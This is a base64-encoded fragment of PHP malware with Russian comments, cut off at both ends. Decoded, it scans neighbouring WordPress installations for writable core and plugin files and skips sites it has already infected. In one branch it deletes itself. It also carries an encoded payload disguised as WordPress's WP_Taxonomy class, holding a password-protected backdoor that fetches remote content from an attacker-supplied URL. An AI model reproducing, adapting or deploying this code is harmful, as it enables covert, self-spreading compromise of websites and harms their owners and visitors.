ICAgICAgICAkZGJbJ2RiX3ByZWZpeCddID0gJGRiX3ByZWZpeDsKICAgICAgICAgICAgICAgICRkYl9jb25uZWN0ID0gZmFsc2U7CiAgICAgICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgICAgICRkYl9jb25uZWN0ID0gQG15c3FsaV9jb25uZWN0KCRkYlsnZGJfaG9zdCddLCAkZGJbJ2RiX3VzZXInXSwgJGRiWydkYl9wYXNzJ10sICRkYlsnZGJfbmFtZSddKTsgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICB9Y2F0Y2ggKEV4Y2VwdGlvbiAkZSl7CiAgICAgICAgICAgICAgICAgICAgJGRiX2Nvbm5lY3QgPSBmYWxzZTsKICAgICAgICAgICAgICAgIH0gICAgICAgIAogICAgICAgICAgICAgICAgaWYoJGRiX2Nvbm5lY3QpewogICAgICAgICAgICAgICAgICAgICRyZXN1bHQgPSBmYWxzZTsKICAgICAgICAgICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgICAgICAgICAkcmVzdWx0ID0gQG15c3FsaV9xdWVyeSgkZGJfY29ubmVjdCwiU0VMRUNUICogRlJPTSBgeyRkYlsnZGJfcHJlZml4J119b3B0aW9uc2AgV0hFUkUgYG9wdGlvbl9uYW1lYD0nc2l0ZXVybCcgTElNSVQgMTsiKTsKICAgICAgICAgICAgICAgICAgICB9Y2F0Y2ggKEV4Y2VwdGlvbiAkZSl7CiAgICAgICAgICAgICAgICAgICAgICAgICRyZXN1bHQgPSBmYWxzZTsKICAgICAgICAgICAgICAgICAgICB9ICAKICAgICAgICAgICAgICAgICAgICBpZigkcmVzdWx0KXsKICAgICAgICAgICAgICAgICAgICAgICAgJHJvdyA9IEBteXNxbGlfZmV0Y2hfYXJyYXkoJHJlc3VsdCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzc2V0KCRyb3dbJ29wdGlvbl92YWx1ZSddKSl7ICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkYl9zaXRlX3VybCA9ICRyb3dbJ29wdGlvbl92YWx1ZSddOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9ICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgaWYoIWVtcHR5KCRkYl9zaXRlX3VybCkpewogICAgICAgICAgICAgICAgJGZvdW5kX2NvbmZpZ1skY3VycmVudF9kb21lbl09JGRiX3NpdGVfdXJsOwogICAgICAgICAgICB9ICAgICAgICAgIAogICAgICAgIH0KCiAgICAgICAgLy8g0J/RgNC10L7QsdGA0LDQt9GD0LXQvCDQstGB0LUg0Log0LXQtNC40L3QvtC80YMg0LfQsNC00LDQvdC40Y4KICAgICAgICAkdGFza19pbmogPSBhcnJheSgpOwogICAgICAgIGZvcmVhY2goJGZvdW5kX2RvbWVuIGFzICRjdXJyZW50X2Q9PiRsaXN0X3BhdGgpewogICAgICAgICAgICBmb3JlYWNoKCRsaXN0X3BhdGggYXMgJGN1cnJlbnRfcGF0aD0+JHMpewogICAgICAgICAgICAgICAgJHRhc2tfaW5qW10gPSBhcnJheSgkY3VycmVudF9wYXRoLCRjdXJyZW50X2QpOyAvLyDQtNC+0LHQsNCy0LjQvCDQs9C70LDQstC90YPRjgogICAgICAgICAgICAgICAgJGRpciA9IEBzY2FuZGlyKCRjdXJyZW50X3BhdGgpOwogICAgICAgICAgICAgICAgaWYoaXNfYXJyYXkoJGRpcikpewogICAgICAgICAgICAgICAgICAgICRkaXIgPSBhcnJheV9kaWZmKCRkaXIsYXJyYXkoJy4nLCcuLicpKTsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRkaXIgYXMgJGN1cnJlbnRfY2hlY2spewogICAgICAgICAgICAgICAgICAgICAgICBpZihpc19kaXIoJGN1cnJlbnRfcGF0aC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRjdXJyZW50X2NoZWNrKSAmJiBpc193cml0YWJsZSgkY3VycmVudF9wYXRoLkRJUkVDVE9SWV9TRVBBUkFUT1IuJGN1cnJlbnRfY2hlY2spKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0YXNrX2lualtdID0gYXJyYXkoJGN1cnJlbnRfcGF0aC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRjdXJyZW50X2NoZWNrLCRjdXJyZW50X2QpOyAvLyDQv9C10YDQstGL0Lkg0YPRgNC+0LLQtdC90YwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkaXIyID0gQHNjYW5kaXIoJGN1cnJlbnRfcGF0aC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRjdXJyZW50X2NoZWNrKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX2FycmF5KCRkaXIyKSl7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRpcjIgPSBhcnJheV9kaWZmKCRkaXIyLGFycmF5KCcuJywnLi4nKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkZGlyMiBhcyAkY3VycmVudF9jaGVjazIpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihpc19kaXIoJGN1cnJlbnRfcGF0aC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRjdXJyZW50X2NoZWNrLkRJUkVDVE9SWV9TRVBBUkFUT1IuJGN1cnJlbnRfY2hlY2syKSAmJiBpc193cml0YWJsZSgkY3VycmVudF9wYXRoLkRJUkVDVE9SWV9TRVBBUkFUT1IuJGN1cnJlbnRfY2hlY2suRElSRUNUT1JZX1NFUEFSQVRPUi4kY3VycmVudF9jaGVjazIpKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0YXNrX2lualtdID0gYXJyYXkoJGN1cnJlbnRfcGF0aC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRjdXJyZW50X2NoZWNrLkRJUkVDVE9SWV9TRVBBUkFUT1IuJGN1cnJlbnRfY2hlY2syLCRjdXJyZW50X2QpOyAvLyDQstGC0L7RgNC+0Lkg0YPRgNC+0LLQtdC90YwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gICAgICAgICAgIAogICAgICAgICAgICB9ICAgICAgIAogICAgICAgIH0KCgogICAgICAgIGZvcmVhY2goJGZvdW5kX2NvbmZpZyBhcyAkY3VycmVudF9wYXRoPT4kcyl7ICAgICAgICAKICAgICAgICAgICAgaWYoaXNfc3RyaW5nKCRzKSAmJiBwcmVnX21hdGNoKCcvXmh0dHBzezAsMX1cOi91aScsJHMpKXsKICAgICAgICAgICAgICAgIC8vINCX0L3QsNC10Lwg0LTQvtC80LXQvSDRh9C10YDQtdC3INCR0JQKICAgICAgICAgICAgICAgICR0YXNrX2lualtdID0gYXJyYXkoZGlybmFtZSgkY3VycmVudF9wYXRoKSwkcyk7CiAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgLy8g0JTQvtC80LXQvSDQvdC1INC30L3QsNC10LwKICAgICAgICAgICAgICAgICR0YXNrX2lualtdID0gYXJyYXkoZGlybmFtZSgkY3VycmVudF9wYXRoKSwkY3VycmVudF9wYXRoKTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8g0J/RgNC+0YTQuNC70YzRgtGA0YPQtdC8INC00LDQvdC90YPRjiDQvdCw0YXQvtC00LrRgwogICAgICAgIGZvcmVhY2goJHRhc2tfaW5qIGFzICRpZF90YXNrPT4kZGF0YV90YXNrKXsKICAgICAgICAgICAgJGN1cnJlbnRfcGF0aCA9ICRkYXRhX3Rhc2tbMF07CiAgICAgICAgICAgICRjdXJyZW50X2RvbWVuID0gJGRhdGFfdGFza1sxXTsgICAgICAgICAKICAgICAgICAgICAgaWYoJGN1cnJlbnRfcGF0aD09X19ESVJfXykgY29udGludWU7ICAgICAgICAKICAgICAgICAgICAgaWYoIWlzX2RpcigkY3VycmVudF9wYXRoLkRJUkVDVE9SWV9TRVBBUkFUT1IuJ3dwLWluY2x1ZGVzJykpewogICAgICAgICAgICAgICAgdW5zZXQoJHRhc2tfaW5qWyRpZF90YXNrXSk7CiAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZighaXNfd3JpdGFibGUoJGN1cnJlbnRfcGF0aC5ESVJFQ1RPUllfU0VQQVJBVE9SLid3cC1pbmNsdWRlcycpKXsKICAgICAgICAgICAgICAgIHVuc2V0KCR0YXNrX2lualskaWRfdGFza10pOwogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0gICAgICAgICAgIAogICAgICAgICAgICAvLyDQkdGL0LvQuAogICAgICAgICAgICAkd2Vfd2VyZV9oZXJlID0gZmFsc2U7CiAgICAgICAgICAgICRzY2FuZGlyID0gQHNjYW5kaXIoJGN1cnJlbnRfcGF0aC5ESVJFQ1RPUllfU0VQQVJBVE9SLid3cC1pbmNsdWRlcycpOwogICAgICAgICAgICBpZihpc19hcnJheSgkc2NhbmRpcikpewogICAgICAgICAgICAgICAgJHNjYW5kaXIgPSBhcnJheV9kaWZmKCRzY2FuZGlyLGFycmF5KCcuJywnLi4nKSk7CiAgICAgICAgICAgICAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRjdXJyZW50X2luY19maWxlKXsKICAgICAgICAgICAgICAgICAgICBpZighaXNfZmlsZSgkY3VycmVudF9wYXRoLkRJUkVDVE9SWV9TRVBBUkFUT1IuJ3dwLWluY2x1ZGVzJy5ESVJFQ1RPUllfU0VQQVJBVE9SLiRjdXJyZW50X2luY19maWxlKSkgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgaWYoIXByZWdfbWF0Y2goJy9cLnBocCQvJywkY3VycmVudF9pbmNfZmlsZSkpIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICRfY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkY3VycmVudF9wYXRoLkRJUkVDVE9SWV9TRVBBUkFUT1IuJ3dwLWluY2x1ZGVzJy5ESVJFQ1RPUllfU0VQQVJBVE9SLiRjdXJyZW50X2luY19maWxlKTsKICAgICAgICAgICAgICAgICAgICBpZihzdHJpc3RyKCRfY29udGVudCwnc2NhbkRpcmVjdG9yeUNvbmZpZycpKXsKICAgICAgICAgICAgICAgICAgICAgICAgJHdlX3dlcmVfaGVyZSA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBpZigkd2Vfd2VyZV9oZXJlKXsKICAgICAgICAgICAgICAgIHVuc2V0KCR0YXNrX2lualskaWRfdGFza10pOwogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgCiAgICAgICAgICAgICRjaGVjayA9IGZhbHNlOyAgICAgICAgIAoKICAgICAgICAgICAgaWYoaXNfZmlsZSgkY3VycmVudF9wYXRoLkRJUkVDVE9SWV9TRVBBUkFUT1IuJ3dwLWluY2x1ZGVzJy5ESVJFQ1RPUllfU0VQQVJBVE9SLid0aGVtZS5waHAnKSAmJiBpc193cml0YWJsZSgkY3VycmVudF9wYXRoLkRJUkVDVE9SWV9TRVBBUkFUT1IuJ3dwLWluY2x1ZGVzJy5ESVJFQ1RPUllfU0VQQVJBVE9SLid0aGVtZS5waHAnKSl7CiAgICAgICAgICAgICAgICAkY2hlY2sgPSB0cnVlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmKCEkY2hlY2sgJiYgaXNfZmlsZSgkY3VycmVudF9wYXRoLkRJUkVDVE9SWV9TRVBBUkFUT1IuJ3dwLWFkbWluJy5ESVJFQ1RPUllfU0VQQVJBVE9SLid3aWRnZXRzLWZvcm0ucGhwJykgJiYgaXNfd3JpdGFibGUoJGN1cnJlbnRfcGF0aC5ESVJFQ1RPUllfU0VQQVJBVE9SLid3cC1hZG1pbicuRElSRUNUT1JZX1NFUEFSQVRPUi4nd2lkZ2V0cy1mb3JtLnBocCcpKXsKICAgICAgICAgICAgICAgICRjaGVjayA9IHRydWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYoISRjaGVjayAmJiBpc19kaXIoJGN1cnJlbnRfcGF0aC5ESVJFQ1RPUllfU0VQQVJBVE9SLid3cC1jb250ZW50Jy5ESVJFQ1RPUllfU0VQQVJBVE9SLidwbHVnaW5zJykgJiYgaXNfd3JpdGFibGUoJGN1cnJlbnRfcGF0aC5ESVJFQ1RPUllfU0VQQVJBVE9SLid3cC1jb250ZW50Jy5ESVJFQ1RPUllfU0VQQVJBVE9SLidwbHVnaW5zJykpewogICAgICAgICAgICAgICAgJGNoZWNrID0gdHJ1ZTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYoISRjaGVjayl7CiAgICAgICAgICAgICAgICB1bnNldCgkdGFza19pbmpbJGlkX3Rhc2tdKTsKICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICB9ICAgICAgIAogICAgICAgIH0KICAgIH1lbHNlewogICAgICAgIEB1bmxpbmsoX19GSUxFX18pOwogICAgfQogICAgCiAgICAKCgkkc3RhdCA9IGFycmF5KCk7CgoJLy8gMS4g0KPRgdGC0LDQvdC+0LLQuNC8INGB0LrRgNC40L/RggkKCSRjb2RlX2luaiA9IGJhc2U2NF9kZWNvZGUoJ1BEOXdhSEFLTHlvcUNpQXFJRlJoZUc5dWIyMTVJRUZRU1RvZ1YxQmZWR0Y0YjI1dmJYa2dZMnhoYzNNS0lDb0tJQ29nUUhCaFkydGhaMlVnVjI5eVpGQnlaWE56Q2lBcUlFQnpkV0p3WVdOcllXZGxJRlJoZUc5dWIyMTVDaUFxSUVCemFXNWpaU0EwTGpjdU1Bb2dLaThLQ2k4cUtnb2dLaUJEYjNKbElHTnNZWE56SUhWelpXUWdabTl5SUdsdWRHVnlZV04wYVc1bklIZHBkR2dnZEdGNGIyNXZiV2xsY3k0S0lDb0tJQ29nUUhOcGJtTmxJRFF1Tnk0d0NpQXFMd29qVzBGc2JHOTNSSGx1WVcxcFkxQnliM0JsY25ScFpYTmRDbVpwYm1Gc0lHTnNZWE56SUZkUVgxUmhlRzl1YjIxNUlIc0tJQ0FnSUM4cUtnb2dJQ0FnSUNvZ1ZHRjRiMjV2YlhrZ2EyVjVMZ29nSUNBZ0lDb0tJQ0FnSUNBcUlFQnphVzVqWlNBMExqY3VNQW9nSUNBZ0lDb2dRSFpoY2lCemRISnBibWNLSUNBZ0lDQXFMd29nSUNBZ2NIVmliR2xqSUNSdVlXMWxPd29LSUNBZ0lDOHFLZ29nSUNBZ0lDb2dUbUZ0WlNCdlppQjBhR1VnZEdGNGIyNXZiWGtnYzJodmQyNGdhVzRnZEdobElHMWxiblV1SUZWemRXRnNiSGtnY0d4MWNtRnNMZ29nSUNBZ0lDb0tJQ0FnSUNBcUlFQnphVzVqWlNBMExqY3VNQW9nSUNBZ0lDb2dRSFpoY2lCemRISnBibWNLSUNBZ0lDQXFMd29nSUNBZ2NIVmliR2xqSUNSc1lXSmxiRHNLQ2lBZ0lDQXZLaW9LSUNBZ0lDQXFJRXhoWW1Wc2N5QnZZbXBsWTNRZ1ptOXlJSFJvYVhNZ2RHRjRiMjV2YlhrdUNpQWdJQ0FnS2dvZ0lDQWdJQ29nU1dZZ2JtOTBJSE5sZEN3Z2RHRm5JR3hoWW1Wc2N5QmhjbVVnYVc1b1pYSnBkR1ZrSUdadmNpQnViMjR0YUdsbGNtRnlZMmhwWTJGc0lIUjVjR1Z6Q2lBZ0lDQWdLaUJoYm1RZ1kyRjBaV2R2Y25rZ2JHRmlaV3h6SUdadmNpQm9hV1Z5WVhKamFHbGpZV3dnYjI1bGN5NEtJQ0FnSUNBcUNpQWdJQ0FnS2lCQWMyVmxJR2RsZEY5MFlYaHZibTl0ZVY5c1lXSmxiSE1vS1FvZ0lDQWdJQ29LSUNBZ0lDQXFJRUJ6YVc1alpTQTBMamN1TUFvZ0lDQWdJQ29nUUhaaGNpQnpkR1JEYkdGemN3b2dJQ0FnSUNvdkNpQWdJQ0J3ZFdKc2FXTWdKR3hoWW1Wc2N6c0tDaUFnSUNBdktpb0tJQ0FnSUNBcUlFUmxabUYxYkhRZ2JHRmlaV3h6TGdvZ0lDQWdJQ29LSUNBZ0lDQXFJRUJ6YVc1alpTQTJMakF1TUFvZ0lDQWdJQ29nUUhaaGNpQW9jM1J5YVc1bmZHNTFiR3dwVzExYlhTQWtaR1ZtWVhWc2RGOXNZV0psYkhNS0lDQWdJQ0FxTHdvZ0lDQWdjSEp2ZEdWamRHVmtJSE4wWVhScFl5QWtaR1ZtWVhWc2RGOXNZV0psYkhNZ1BTQmhjbkpoZVNncE93b0tJQ0FnSUM4cUtnb2dJQ0FnSUNvZ1FTQnphRzl5ZENCa1pYTmpjbWx3ZEdsMlpTQnpkVzF0WVhKNUlHOW1JSGRvWVhRZ2RHaGxJSFJoZUc5dWIyMTVJR2x6SUdadmNpNEtJQ0FnSUNBcUNpQWdJQ0FnS2lCQWMybHVZMlVnTkM0M0xqQUtJQ0FnSUNBcUlFQjJZWElnYzNSeWFXNW5DaUFnSUNBZ0tpOEtJQ0FnSUhCMVlteHBZeUFrWkdWelkzSnBjSFJwYjI0Z1BTQW5KenNLQ2lBZ0lDQXZLaW9LSUNBZ0lDQXFJRmRvWlhSb1pYSWdZU0IwWVhodmJtOXRlU0JwY3lCcGJuUmxibVJsWkNCbWIzSWdkWE5sSUhCMVlteHBZMng1SUdWcGRHaGxjaUIyYVdFZ2RHaGxJR0ZrYldsdUlHbHVkR1Z5Wm1GalpTQnZjaUJpZVNCbWNtOXVkQzFsYm1RZ2RYTmxjbk11Q2lBZ0lDQWdLZ29nSUNBZ0lDb2dRSE5wYm1ObElEUXVOeTR3Q2lBZ0lDQWdLaUJBZG1GeUlHSnZiMndLSUNBZ0lDQXFMd29nSUNBZ2NIVmliR2xqSUNSd2RXSnNhV01nUFNCMGNuVmxPd29LSUNBZ0lDOHFLZ29nSUNBZ0lDb2dWMmhsZEdobGNpQjBhR1VnZEdGNGIyNXZiWGtnYVhNZ2NIVmliR2xqYkhrZ2NYVmxjbmxoWW14bExnb2dJQ0FnSUNvS0lDQWdJQ0FxSUVCemFXNWpaU0EwTGpjdU1Bb2dJQ0FnSUNvZ1FIWmhjaUJpYjI5c0NpQWdJQ0FnS2k4S0lDQWdJSEIxWW14cFl5QWtjSFZpYkdsamJIbGZjWFZsY25saFlteGxJRDBnZEhKMVpUc0tDaUFnSUNBdktpb0tJQ0FnSUNBcUlGZG9aWFJvWlhJZ2RHaGxJSFJoZUc5dWIyMTVJR2x6SUdocFpYSmhjbU5vYVdOaGJDNEtJQ0FnSUNBcUNpQWdJQ0FnS2lCQWMybHVZMlVnTkM0M0xqQUtJQ0FnSUNBcUlFQjJZWElnWW05dmJBb2dJQ0FnSUNvdkNpQWdJQ0J3ZFdKc2FXTWdKR2hwWlhKaGNtTm9hV05oYkNBOUlHWmhiSE5sT3dvS0lDQWdJQzhxS2dvZ0lDQWdJQ29nVjJobGRHaGxjaUIwYnlCblpXNWxjbUYwWlNCaGJtUWdZV3hzYjNjZ1lTQlZTU0JtYjNJZ2JXRnVZV2RwYm1jZ2RHVnliWE1nYVc0Z2RHaHBjeUIwWVhodmJtOXRlU0JwYmlCMGFHVWdZV1J0YVc0dUNpQWdJQ0FnS2dvZ0lDQWdJQ29nUUhOcGJtTmxJRFF1Tnk0d0NpQWdJQ0FnS2lCQWRtRnlJR0p2YjJ3S0lDQWdJQ0FxTHdvZ0lDQWdjSFZpYkdsaklDUnphRzkzWDNWcElEMGdkSEoxWlRzS0NpQWdJQ0F2S2lvS0lDQWdJQ0FxSUZkb1pYUm9aWElnZEc4Z2MyaHZkeUIwYUdVZ2RHRjRiMjV2YlhrZ2FXNGdkR2hsSUdGa2JXbHVJRzFsYm5VdUNpQWdJQ0FnS2dvZ0lDQWdJQ29nU1dZZ2RISjFaU3dnZEdobElIUmhlRzl1YjIxNUlHbHpJSE5vYjNkdUlHRnpJR0VnYzNWaWJXVnVkU0J2WmlCMGFHVWdiMkpxWldOMElIUjVjR1VnYldWdWRTNGdTV1lnWm1Gc2MyVXNJRzV2SUcxbGJuVWdhWE1nYzJodmQyNHVDaUFnSUNBZ0tnb2dJQ0FnSUNvZ1FITnBibU5sSURRdU55NHdDaUFnSUNBZ0tpQkFkbUZ5SUdKdmIyd0tJQ0FnSUNBcUx3b2dJQ0FnY0hWaWJHbGpJQ1J6YUc5M1gybHVYMjFsYm5VZ1BTQjBjblZsT3dvS0lDQWdJQzhxS2dvZ0lDQWdJQ29nVjJobGRHaGxjaUIwYUdVZ2RHRjRiMjV2YlhrZ2FYTWdZWFpoYVd4aFlteGxJR1p2Y2lCelpXeGxZM1JwYjI0Z2FXNGdibUYyYVdkaGRHbHZiaUJ0Wlc1MWN5NEtJQ0FnSUNBcUNpQWdJQ0FnS2lCQWMybHVZMlVnTkM0M0xqQUtJQ0FnSUNBcUlFQjJZWElnWW05dmJBb2dJQ0FnSUNvdkNpQWdJQ0J3ZFdKc2FXTWdKSE5vYjNkZmFXNWZibUYyWDIxbGJuVnpJRDBnZEhKMVpUc0tDaUFnSUNBdktpb0tJQ0FnSUNBcUlGZG9aWFJvWlhJZ2RHOGdiR2x6ZENCMGFHVWdkR0Y0YjI1dmJYa2dhVzRnZEdobElIUmhaeUJqYkc5MVpDQjNhV1JuWlhRZ1kyOXVkSEp2YkhNdUNpQWdJQ0FnS2dvZ0lDQWdJQ29nUUhOcGJtTmxJRFF1Tnk0d0NpQWdJQ0FnS2lCQWRtRnlJR0p2YjJ3S0lDQWdJQ0FxTHdvZ0lDQWdjSFZpYkdsaklDUnphRzkzWDNSaFoyTnNiM1ZrSUQwZ2RISjFaVHNLQ2lBZ0lDQXZLaW9LSUNBZ0lDQXFJRmRvWlhSb1pYSWdkRzhnYzJodmR5QjBhR1VnZEdGNGIyNXZiWGtnYVc0Z2RHaGxJSEYxYVdOckwySjFiR3NnWldScGRDQndZVzVsYkM0S0lDQWdJQ0FxQ2lBZ0lDQWdLaUJBYzJsdVkyVWdOQzQzTGpBS0lDQWdJQ0FxSUVCMllYSWdZbTl2YkFvZ0lDQWdJQ292Q2lBZ0lDQndkV0pzYVdNZ0pITm9iM2RmYVc1ZmNYVnBZMnRmWldScGRDQTlJSFJ5ZFdVN0Nnb2dJQ0FnTHlvcUNpQWdJQ0FnS2lCWGFHVjBhR1Z5SUhSdklHUnBjM0JzWVhrZ1lTQmpiMngxYlc0Z1ptOXlJSFJvWlNCMFlYaHZibTl0ZVNCdmJpQnBkSE1nY0c5emRDQjBlWEJsSUd4cGMzUnBibWNnYzJOeVpXVnVjeTRLSUNBZ0lDQXFDaUFnSUNBZ0tpQkFjMmx1WTJVZ05DNDNMakFLSUNBZ0lDQXFJRUIyWVhJZ1ltOXZiQW9nSUNBZ0lDb3ZDaUFnSUNCd2RXSnNhV01nSkhOb2IzZGZZV1J0YVc1ZlkyOXNkVzF1SUQwZ1ptRnNjMlU3Q2dvZ0lDQWdMeW9xQ2lBZ0lDQWdLaUJVYUdVZ1kyRnNiR0poWTJzZ1puVnVZM1JwYjI0Z1ptOXlJSFJvWlNCdFpYUmhJR0p2ZUNCa2FYTndiR0Y1TGdvZ0lDQWdJQ29LSUNBZ0lDQXFJRUJ6YVc1alpTQTBMamN1TUFvZ0lDQWdJQ29nUUhaaGNpQmliMjlzZkdOaGJHeGhZbXhsQ2lBZ0lDQWdLaThLSUNBZ0lIQjFZbXhwWXlBa2JXVjBZVjlpYjNoZlkySWdQU0J1ZFd4c093b0tJQ0FnSUM4cUtnb2dJQ0FnSUNvZ1ZHaGxJR05oYkd4aVlXTnJJR1oxYm1OMGFXOXVJR1p2Y2lCellXNXBkR2w2YVc1bklIUmhlRzl1YjIxNUlHUmhkR0VnYzJGMlpXUWdabkp2YlNCaElHMWxkR0VnWW05NExnb2dJQ0FnSUNvS0lDQWdJQ0FxSUVCemFXNWpaU0ExTGpFdU1Bb2dJQ0FnSUNvZ1FIWmhjaUJqWVd4c1lXSnNaUW9nSUNBZ0lDb3ZDaUFnSUNCd2RXSnNhV01nSkcxbGRHRmZZbTk0WDNOaGJtbDBhWHBsWDJOaUlEMGdiblZzYkRzS0NpQWdJQ0F2S2lvS0lDQWdJQ0FxSUVGdUlHRnljbUY1SUc5bUlHOWlhbVZqZENCMGVYQmxjeUIwYUdseklIUmhlRzl1YjIxNUlHbHpJSEpsWjJsemRHVnlaV1FnWm05eUxnb2dJQ0FnSUNvS0lDQWdJQ0FxSUVCemFXNWpaU0EwTGpjdU1Bb2dJQ0FnSUNvZ1FIWmhjaUJ6ZEhKcGJtZGJYUW9nSUNBZ0lDb3ZDaUFnSUNCd2RXSnNhV01nSkc5aWFtVmpkRjkwZVhCbElEMGdiblZzYkRzS0NpQWdJQ0F2S2lvS0lDQWdJQ0FxSUVOaGNHRmlhV3hwZEdsbGN5Qm1iM0lnZEdocGN5QjBZWGh2Ym05dGVTNEtJQ0FnSUNBcUNpQWdJQ0FnS2lCQWMybHVZMlVnTkM0M0xqQUtJQ0FnSUNBcUlFQjJZWElnYzNSa1EyeGhjM01LSUNBZ0lDQXFMd29nSUNBZ2NIVmliR2xqSUNSallYQTdDZ29nSUNBZ0x5b3FDaUFnSUNBZ0tpQlNaWGR5YVhSbGN5QnBibVp2Y20xaGRHbHZiaUJtYjNJZ2RHaHBjeUIwWVhodmJtOXRlUzRLSUNBZ0lDQXFDaUFnSUNBZ0tpQkFjMmx1WTJVZ05DNDNMakFLSUNBZ0lDQXFJRUIyWVhJZ1lYSnlZWGw4Wm1Gc2MyVUtJQ0FnSUNBcUx3b2dJQ0FnY0hWaWJHbGpJQ1J5WlhkeWFYUmxPd29LSUNBZ0lDOHFLZ29nSUNBZ0lDb2dVWFZsY25rZ2RtRnlJSE4wY21sdVp5Qm1iM0lnZEdocGN5QjBZWGh2Ym05dGVTNEtJQ0FnSUNBcUNpQWdJQ0FnS2lCQWMybHVZMlVnTkM0M0xqQUtJQ0FnSUNBcUlFQjJZWElnYzNSeWFXNW5mR1poYkhObENpQWdJQ0FnS2k4S0lDQWdJSEIxWW14cFl5QWtjWFZsY25sZmRtRnlPd29LSUNBZ0lDOHFLZ29nSUNBZ0lDb2dSblZ1WTNScGIyNGdkR2hoZENCM2FXeHNJR0psSUdOaGJHeGxaQ0IzYUdWdUlIUm9aU0JqYjNWdWRDQnBjeUIxY0dSaGRHVmtMZ29nSUNBZ0lDb0tJQ0FnSUNBcUlFQnphVzVqWlNBMExqY3VNQW9nSUNBZ0lDb2dRSFpoY2lCallXeHNZV0pzWlFvZ0lDQWdJQ292Q2lBZ0lDQndkV0pzYVdNZ0pIVndaR0YwWlY5amIzVnVkRjlqWVd4c1ltRmphenNLQ2lBZ0lDQXZLaW9LSUNBZ0lDQXFJRmRvWlhSb1pYSWdkR2hwY3lCMFlYaHZibTl0ZVNCemFHOTFiR1FnWVhCd1pXRnlJR2x1SUhSb1pTQlNSVk5VSUVGUVNTNEtJQ0FnSUNBcUNpQWdJQ0FnS2lCRVpXWmhkV3gwSUdaaGJITmxMaUJKWmlCMGNuVmxMQ0J6ZEdGdVpHRnlaQ0JsYm1Sd2IybHVkSE1nZDJsc2JDQmlaU0J5WldkcGMzUmxjbVZrSUhkcGRHZ0tJQ0FnSUNBcUlISmxjM0JsWTNRZ2RHOGdKSEpsYzNSZlltRnpaU0JoYm1RZ0pISmxjM1JmWTI5dWRISnZiR3hsY2w5amJHRnpjeTRLSUNBZ0lDQXFDaUFnSUNBZ0tpQkFjMmx1WTJVZ05DNDNMalFLSUNBZ0lDQXFJRUIyWVhJZ1ltOXZiQ0FrYzJodmQxOXBibDl5WlhOMENpQWdJQ0FnS2k4S0lDQWdJSEIxWW14cFl5QWtjMmh2ZDE5cGJsOXlaWE4wT3dwOUNnb2dJQ0FnSkhCaGMzTWdQU0FuVzFCQlUxTmRKenNnSUNBZ0Nnb2dJQ0FnYVdZb2FYTnpaWFFvSkY5SFJWUmJKMkZpWXlkZEtTQW1KaUFrWDBkRlZGc25ZV0pqSjEwOVBTUndZWE56S1hzS0lDQWdJQ0FnSUNCcFppaHBjM05sZENna1gwZEZWRnNuWTJobFkyc25YU2twZXdvZ0lDQWdJQ0FnSUNBZ0lDQmxZMmh2SUdwemIyNWZaVzVqYjJSbEtHRnljbUY1S0NkemRHRjBkWE1uUFQ0blQwc25LU2s3Q2lBZ0lDQWdJQ0FnSUNBZ0lHVjRhWFFvS1RzS0lDQWdJQ0FnSUNCOUNpQWdJQ0FnSUNBZ2FXWW9hWE56WlhRb0pGOUhSVlJiSjNKbGMzUnZjbVVuWFNrcGV5QWdJQ0FnSUNBZ0lDQWdDaUFnSUNBZ0lDQWdJQ0FnSUNScWMyOXVJRDBnYW5OdmJsOWtaV052WkdVb1oyVjBYM0JoWjJVb1ltRnpaVFkwWDJSbFkyOWtaU2h6ZEhKZmNtVndiR0ZqWlNnbklDY3NKeXNuTENSZlIwVlVXeWR5WlhOMGIzSmxKMTBwS1Nrc2RISjFaU2s3Q2lBZ0lDQWdJQ0FnSUNBZ0lHbG1LR2x6YzJWMEtDUnFjMjl